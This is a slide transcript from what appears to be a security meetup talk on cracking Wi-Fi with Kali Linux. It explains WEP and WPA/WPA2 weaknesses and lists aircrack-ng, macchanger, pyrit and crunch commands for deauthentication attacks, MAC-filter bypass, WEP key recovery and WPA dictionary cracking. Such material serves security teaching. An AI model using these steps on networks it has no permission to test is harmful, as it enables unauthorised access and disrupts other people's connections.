Wireless Cracking using Kali

  • Published on
    06-May-2015

  • View
    3.504

  • Download
    1

Embed Size (px)

DESCRIPTION

null Bangalore Chapter - March 2014 Wireless Humla

Transcript

<ul><li>1.Wireless Cracking Using Kali Asish Agarwalla </li></ul> <p>2. Terminology SSID (Service Set Identifier) An SSID is the Name of a Network BSSID (Basic Service Set Identifier) MAC address of the access point(AP) Wireless Client 3. Monitor Mode Monitor mode allows to monitor all traffic received from the wireless network without having associate with an access point or ad hoc network. Create a monitor mode interface airmon-ng start Ex: airmon-ng start wlan0 4. Hidden SSID Passive Mode Use Wireshark/airodump and wait for any client to connect to AP airodump-ng --channel --bssid xx.xx.xx.xx.xx.xx Active Mode Sending de-authentication packets using aireplay and Use Wireshark/airodump to monitor the traffic. aireplay-ng deauth 0 a Probe Request and Probe Response packets will contains the SSID of the network. 5. Mac Filtering Bypass Passive Mode Use Wireshark/airodump and wait for any client to connect to AP airodump-ng channel --bssid xx.xx.xx.xx.xx.xx Active Mode Force all connected client to authenticate again by sending de- authentication packets using aireplay and use Wireshark/ airodump to monitor the traffic aireplay-ng deauth 0 a Once we find a whitelisted client's MAC address, we can spoof the MAC address of the client using the macchanger utility . 6. WEP (Wired Equivalent Privacy) Wireless Security Two types of WEP authentication Open System Authentication Shared Key Authentication Encrypt all network packages using a stream-cipher (RC4) for confidentiality a checksum (CRC-32) for integrity know as ICV 64 Bit key = 24Bit IV + 40 Bit Key 128 Bit Key = 24Bit IV + 104 Bit Key 7. WEP Encryption IV(24 Bit) Secret Key(40Bits)+ RC4 Algorithm Data ICV Cipher Text ICV 8. WEP Weakness IV only 24-bits in WEP, IV must repeat after 2^24 or ~ 16.7M packets IV sent in clear text CRC-32 is not cryptographically secure to authenticate the message 9. WEP Cracking 1. Start Monitor Mode: airmon-ng start wlan0 2. Identify the target BSSID, SSID, Channel using airodump-ng: airodump-ng mon0 3. Configured monitor interface to listen on target channel: iwconfig mon0 channel 4. Capture the packer using airodump: airodump-ng --bssid --channel -w mon0 5. Broadcast deauth packets: aireplay-ng -0 0 -a mon0 10. WEP Cracking 6. Send deauth packet to a specific client: aireplay-ng -0 0 -a -c mon0 7. Fake authentication: aireplay -1 0 -e ssid -a -h mon0 8. Generate data packets using Arp Replay: aireplay -3 -b -h mon0 9. Crack : aircrack-ng 11. WEP Packet Decrypting 1. airdecap-ng -w 2. The decrypted files are stored in a file named captured_file-dec.cap 3. Open the captured_file-dec.cap using wireshark 12. WPA/WPA2 WPA uses TKIP encryption algorithm WPA2 mandatorily uses the AES-CCMP algorithm for encryption WPA and WPA2 support PSK and EAP-based authentication WPA/WPA2 PSK is vulnerable to a dictionary attack 13. WPA/WPA2 4 Ways Handshake 14. WPA/WPA2 4 Ways Handshake Both Client and AP Generate Pairwise Master Key (PMK ) PMK is derived using the WPA/WPA2 PSK passphrase supplied by the user, along with the SSID. The combination of both of these are sent through the Password Based Key Derivation Function (PBKDF2), which outputs the 256-bit shared key. The AP sends a psuedo-randomly generated Anonce to the device . The device generates its own psuedo-random Snonce. The device then uses these two nonces, the MAC address of the AP, the MAC address of the device, and the PMK, to create a key called the Pairwise Temporal Key (PTK) which is 64 bytes, or 512 bits in length 15. WPA/WPA2 4 Ways Handshake The device sends his snonce and a MIC to AP Now AP will calculate the PTK using the same 5 parameter and compare its MIC(message integrity code) with client sent MIC If both matches AP singed his anonce using PTK and send it along with key installation 16. WPA/WPA2 Dictionary Attack 17. WPA/WPA2 Cracking 1. Start Monitor Mode: airmon-ng start mon0 2. Identify the target BSSID, SSID, Channel using airodump-ng: airodump-ng mon0 3. Configured monitor interface to listen on target channel: iwconfig mon0 channel 4. Capture the packer using airodump: airodump-ng --bssid --channel -w mon0 5. Broadcast deauth packets: aireplay-ng -0 0 -a mon0 6. Crack : aircrack-ng -w 18. Speeding up WPA/WPA2 PSK cracking with PMK Generate PMK : Genpmk f -d -s SSID cowpatty d -s SSID -r Crack pyrit: pyrit -r -i attack_cowpatty 19. Speeding up WPA/WPA2 PSK cracking with PMK Import password to pyrit pyrit -i import_passwords Create a essid in pyrit pyrit -e creat_essid Generate PMK pyrit batch Crack using PMK pyrit -r attack_db 20. Password File crunch -t Ex: crunch 10 10 1234567890 -t 98767@@@@@ 21. Thanks asishagarwalla@gmail.com 9379773260 </p>